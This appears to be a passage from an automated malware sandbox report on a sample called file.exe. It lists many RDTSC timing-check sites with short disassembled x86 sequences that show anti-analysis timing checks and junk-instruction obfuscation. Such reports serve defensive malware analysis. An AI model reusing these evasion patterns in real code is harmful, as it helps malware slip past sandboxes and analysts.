Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE195 second address: 6DE1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C7h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE65A second address: 6DE677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 jnp 00007F9DB0FF9A36h 0x0000000e jbe 00007F9DB0FF9A36h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F9DB0FF9A36h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E5398 second address: 6E53A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jp 00007F9DB10DC5B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E53A6 second address: 6E53AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E5AF8 second address: 6E5B15 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f jo 00007F9DB10DC5B6h 0x00000015 jnp 00007F9DB10DC5B6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E5B15 second address: 6E5B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F9DB0FF9A36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E6102 second address: 6E610A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E610A second address: 6E6110 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EACBE second address: 6EACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C8h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EAE35 second address: 6EAE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9DB0FF9A36h 0x0000000a pop ebx 0x0000000b jmp 00007F9DB0FF9A3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EAFC5 second address: 6EAFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EAFCB second address: 6EAFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EAFCF second address: 6EAFF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C1h 0x00000007 jmp 00007F9DB10DC5BCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EB30F second address: 6EB313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EB313 second address: 6EB319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EB720 second address: 6EB742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 jng 00007F9DB0FF9A36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F9DB0FF9A3Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EB8A7 second address: 6EB8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EBE3E second address: 6EBE44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA768 second address: 6EA76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA76F second address: 6EA78E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9DB0FF9A51h 0x00000008 jmp 00007F9DB0FF9A45h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EF1FA second address: 6EF204 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EF204 second address: 6EF218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9DB0FF9A42h 0x0000000c jbe 00007F9DB0FF9A36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F6AC9 second address: 6F6ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AC9A7 second address: 6ACA36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F9DB0FF9A47h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F9DB0FF9A38h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D1CBCh] 0x00000031 lea eax, dword ptr [ebp+12491751h] 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F9DB0FF9A38h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 or dx, 3BF0h 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b pop ecx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ACFB7 second address: 4EED02 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9DB10DC5BCh 0x00000008 jl 00007F9DB10DC5B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 jng 00007F9DB10DC5B8h 0x00000018 pop ebx 0x00000019 nop 0x0000001a mov dh, cl 0x0000001c push dword ptr [ebp+122D08F5h] 0x00000022 jmp 00007F9DB10DC5C8h 0x00000027 call dword ptr [ebp+122D207Dh] 0x0000002d pushad 0x0000002e jne 00007F9DB10DC5B7h 0x00000034 xor eax, eax 0x00000036 jmp 00007F9DB10DC5C3h 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f xor dword ptr [ebp+122D1CE7h], edx 0x00000045 jc 00007F9DB10DC5BCh 0x0000004b sub dword ptr [ebp+122D1D58h], esi 0x00000051 mov dword ptr [ebp+122D3A95h], eax 0x00000057 cld 0x00000058 mov esi, 0000003Ch 0x0000005d pushad 0x0000005e jmp 00007F9DB10DC5C3h 0x00000063 cld 0x00000064 popad 0x00000065 pushad 0x00000066 jmp 00007F9DB10DC5C0h 0x0000006b mov esi, dword ptr [ebp+122D3ACDh] 0x00000071 popad 0x00000072 add esi, dword ptr [esp+24h] 0x00000076 jmp 00007F9DB10DC5BFh 0x0000007b lodsw 0x0000007d jmp 00007F9DB10DC5BFh 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 mov dword ptr [ebp+122D1CE7h], edi 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 mov dword ptr [ebp+122D1CE7h], esi 0x00000096 push eax 0x00000097 pushad 0x00000098 pushad 0x00000099 push eax 0x0000009a push edx 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD1CF second address: 6AD1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD1D8 second address: 6AD1DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD1DC second address: 6AD215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F9DB0FF9A38h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov cx, bx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD215 second address: 6AD219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD219 second address: 6AD21F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD21F second address: 6AD224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD488 second address: 6AD49A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F9DB0FF9A3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADB3B second address: 6ADB48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADB48 second address: 6ADB56 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADCB1 second address: 6ADCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADCB5 second address: 6ADCE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9DB0FF9A41h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADD81 second address: 6ADD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADD85 second address: 6ADE12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F9DB0FF9A44h 0x0000000f lea eax, dword ptr [ebp+12491795h] 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F9DB0FF9A38h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jmp 00007F9DB0FF9A48h 0x00000034 mov ecx, dword ptr [ebp+122D38F9h] 0x0000003a nop 0x0000003b jno 00007F9DB0FF9A3Eh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 ja 00007F9DB0FF9A36h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADE12 second address: 6ADE5B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9DB10DC5C3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx ecx, cx 0x0000000e lea eax, dword ptr [ebp+12491751h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F9DB10DC5B8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D22F6h], edx 0x00000034 nop 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADE5B second address: 6ADE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6ADE5F second address: 690FEA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jmp 00007F9DB10DC5BFh 0x00000011 nop 0x00000012 mov edx, edi 0x00000014 call dword ptr [ebp+122D28A0h] 0x0000001a pushad 0x0000001b jmp 00007F9DB10DC5C4h 0x00000020 pushad 0x00000021 jmp 00007F9DB10DC5BEh 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F6F3A second address: 6F6F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F77BC second address: 6F77C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F77C9 second address: 6F77CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F77CF second address: 6F77D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FE688 second address: 6FE69A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F9DB0FF9A36h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 700D3F second address: 700D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 700D43 second address: 700D59 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9DB0FF9A38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jnc 00007F9DB0FF9A36h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706312 second address: 706316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709B5F second address: 709B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709B67 second address: 709B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709B6E second address: 709BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pushad 0x00000008 jp 00007F9DB0FF9A36h 0x0000000e jmp 00007F9DB0FF9A49h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push edi 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709BB4 second address: 709BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jmp 00007F9DB10DC5BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709D23 second address: 709D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9DB0FF9A36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709D2E second address: 709D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709D33 second address: 709D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709E74 second address: 709EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 ja 00007F9DB10DC5E5h 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709EB5 second address: 709EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E69E second address: 70E6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E6A2 second address: 70E6B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E6B2 second address: 70E6B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E83B second address: 70E840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E840 second address: 70E855 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9DB10DC5C0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E971 second address: 70E975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EC00 second address: 70EC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EC06 second address: 70EC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jne 00007F9DB0FF9A36h 0x0000000c jnc 00007F9DB0FF9A36h 0x00000012 pop edi 0x00000013 js 00007F9DB0FF9A69h 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F9DB0FF9A36h 0x00000021 jmp 00007F9DB0FF9A45h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EC3C second address: 70EC47 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70ED60 second address: 70ED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A44h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70ED7E second address: 70ED84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70ED84 second address: 70ED89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70ED89 second address: 70EDA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007F9DB10DC5B6h 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EDA8 second address: 70EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EDAE second address: 70EDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD81F second address: 6AD830 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AD830 second address: 6AD89D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F9DB10DC5B8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dh, cl 0x00000027 push 00000004h 0x00000029 jnp 00007F9DB10DC5C7h 0x0000002f mov cx, 7A9Eh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007F9DB10DC5BAh 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EEE2 second address: 70EEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EEEC second address: 70EEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EEF2 second address: 70EF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F9DB0FF9A36h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EF02 second address: 70EF1B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5B8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9DB10DC5BDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70EF1B second address: 70EF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7181E7 second address: 7181EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
